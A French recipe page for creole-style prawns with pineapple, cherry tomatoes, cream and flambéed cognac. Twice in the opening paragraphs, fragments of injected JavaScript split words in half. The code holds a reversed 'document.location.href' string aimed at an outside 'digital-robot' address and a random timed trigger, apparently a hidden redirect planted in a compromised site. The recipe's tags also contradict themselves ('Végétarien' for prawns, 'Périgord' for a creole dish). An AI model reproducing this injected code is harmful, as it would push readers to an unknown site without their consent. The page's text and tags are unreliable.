Gambas à la créole

2017-02-23

Cuisine : Poissons
Thématique : Recettes du Périgord, Végétarien
Niveau : Difficile

Dans une poêle avec 2 cuillères à soupe d’huile d’arachide, sur feu moyen faites revenir les gambas entières en les retobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tournant 2 fois.

Rincez, séchez, coupez en deux les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates cerises et les incorporer à la cuisson.

Ingrédients

Pour 4 personnes
900 g de gambas crues
20 cl de crème fraîche épaisse
1 ananas
1 tige de citronnelle fraîche ciselée
¾ d'un verre de cognac chauffé dans une petite casserole et flambé
500 g de tomates cerises
Quelques pincées de piment de Cayenne
Sel / Poivre du moulin

Préparation de la recette

Etape 1

Dans une poêle avec 2 cuillères à soupe d'huile d'arachide, sur feu moyen faites revenir les gambas entières en les retournant 2 fois.

Etape 2

Rincez, séchez, coupez en deux les tomates cerises et les incorporer à la cuisson.

Etape 3

Pelez l'ananas, le couper en 2, et en petits cubes avec quelques tours de moulin à poivre. Après 5 minutes de cuisson, versez le cognac, la crème fraîche épaisse, la citronnelle ciselée.

Etape 4

Faites mijoter pendant quelques minutes. Dégustez.